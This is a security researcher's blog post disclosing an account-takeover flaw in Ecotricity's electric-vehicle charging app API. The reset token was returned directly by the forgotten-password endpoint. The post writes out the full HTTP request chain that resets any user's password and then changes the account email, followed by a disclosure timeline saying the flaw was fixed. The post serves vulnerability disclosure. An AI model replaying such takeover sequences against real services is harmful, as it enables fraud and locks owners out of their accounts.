A company called Ecotricity recently launched a new app in the UK. They are a utility provider for your gas and electric but also run a nationwide network of charge points for electric vehicles that their new app will be used to control. Unfortunately there was a problem with the password reset process.
The app
You can only get the app on Android or iOS, which for drivers of electric vehicles means no smartphone, no charging. It also means no charging if you have no signal, no data allowance, a flat battery on your phone or any host of other problems between you and the charger. Previously it was just a simple RFID card that they posted out to you. You can get the app on the different stores here:
The API
The API for the app resides at https://www.ecotricity.co.uk/api/ezx/v1 and all requests are issued against it. I did the basics and setup my account and had a look around to see if I could spot any obvious problems. Nothing of interest stood out until I went through the password reset process. During the process you get an email with a link to click but the token in the email looked really familiar... This is the request my phone issued to the API when I hit the forgotten password button and the response I received.
Request:
POST https://www.ecotricity.co.uk/api/ezx/v1/forgottenPassword HTTP/1.1
platform=android
&email=ScottHelme
Response:
{"result":{"hashkey":"3119efbec979b11544fd809b75d5467a"}}
This then resulted in the following email landing in my inbox.
The Reset Password button contained a link as you'd expect and was for the following address:
https://www.ecotricity.co.uk/ecovalidate/token/3119efbec979b11544fd809b75d5467a
The token on the end of that address may look familiar and it is indeed the token returned by the initial API request to start a password reset for the provided account! Oopsie!
Resetting passwords on arbitrary accounts
Given that I could now reset the password on any account I like, using either the username or email address for the account, all I needed to do was find a target using several API endpoints that allow for account enumeration and follow through the rest of the process. Given the first API request returns the token that will be sent in the email and I know the format of the URL, it's easy enough for me to 'click the link in the email' without ever having received the email.
GET https://www.ecotricity.co.uk/ecovalidate/token/3119efbec979b11544fd809b75d5467a HTTP/1.1
That's enough to make it appear that the link in the email has been clicked and now we've verified we are the account holder, time to get a password reset token.
POST https://www.ecotricity.co.uk/api/ezx/v1/getPasswordToken HTTP/1.1
platform=android
&hashkey=3119efbec979b11544fd809b75d5467a
We now call the getPasswordToken endpoint and pass in the validated hashkey value from the previous steps. This call then returns another hashkey value that we need to reset the password.
HTTP/1.1 200 OK
{"result":{"success":true,"hashkey":"00c749ef0e4ba573df7f0779d6cef179"}}
Now we have both of these hashkey values, we can make the API call to reset the password on the account.
POST https://www.ecotricity.co.uk/api/ezx/v1/usePasswordToken HTTP/1.1
platform=android
&hashkey=3119efbec979b11544fd809b75d5467a
&password=password1234
&forgotpassword_hash_key=00c749ef0e4ba573df7f0779d6cef179
&confirm_password=password1234
With all of the correct values in place, the request works perfectly and changes the password on the account.
HTTP/1.1 200 OK
{"result":true}
All we need to do now is login to prove the password change worked.
POST https://www.ecotricity.co.uk/api/ezx/v1/login HTTP/1.1
electricHighway=true
&identifier=ScottHelme
&password=password1234
Which let's me straight in:
HTTP/1.1 200 OK
{"result":true,
"data":{
"id":"*snip*",
"token":"",
"name":"ScottHelme",
"email":"[email protected]",
"firstname":"scott",
"lastname":"helme",
"verified":"1",
"businessPartnerId":"*snip*",
"phone":"",
"electricHighwayAccount":true,
"accountDetails":{
"businessPartnerId":"*snip*",
"type":"1",
"firstName":"scott",
"lastName":"helme",
"emailAddresses":[{
"address":"[email protected]"},
{"address":"[email protected]",
"primary":"X"}],
"street":"*snip*",
"village":"*snip*",
"city":"*snip*",
"postcode":"*snip*",
"telephoneNumbers":null},
"googleAPIkey":"*snip*"}}
Full control
At this point I'm logged in to the target account and can perform any action the account holder could. This includes incurring charges to any credit cards stored on the account. I can also change the account email address now I'm authenticated so the genuine owner can't password reset their way back in!
Request:
POST https://www.ecotricity.co.uk/api/ezx/v1/changeEmail HTTP/1.1
[email protected]
&identifier=ScottHelme
&password=password1234
Response:
{"result":true}
Unfortunately that's all that's required to change the email on your account and it's no longer really your account, it's mine after this point. I imagine the only way to get it back now would be to contact the company and try to explain what was going on. That sounds like it'd be great fun!
The rest of the API
I didn't find any issues with the rest of the API but being involved in some of the electric vehicle owners forums I mapped out and documented the API on GitHub for others to make use of (yes I drive an EV!). Hopefully this will be of use to someone else and perhaps a little more scrutiny on the API would be a good thing. I can't help but feel that it didn't get much in the way of penetration testing prior to release.
Responsible disclosure
Of course, just like any vulnerability I find, it was responsibly disclosed to the appropriate party as soon as I'd confirmed there was a serious flaw. The disclosure timeline:
9th July 20:53 After downloading the app and doing some investigation, I notified Ecotricity of a critical security vulnerability in their API via email.
10th July 00:25 I received a response from Ecotricity and was informed that the affected API endpoint had been taken offline. I confirmed this was the case.
11th July 07:28 I noticed an updated version of the Android app was available and that the password reset functionality was working again. I confirmed the issue had been resolved.
I think that Ecotricity should be applauded for their rapid response to my disclosure and taking immediate action to protect their user's accounts by disabling the affected API endpoint. They were also very appreciative of me finding the issue and reporting it to them privately. Fellow security researchers will probably be all too aware that reporting issues like this to companies can often result in a very hostile interaction. It's quite refreshing to have dealt with a company that were open to being contacted by a security researcher but next time perhaps engage one before publishing your API online.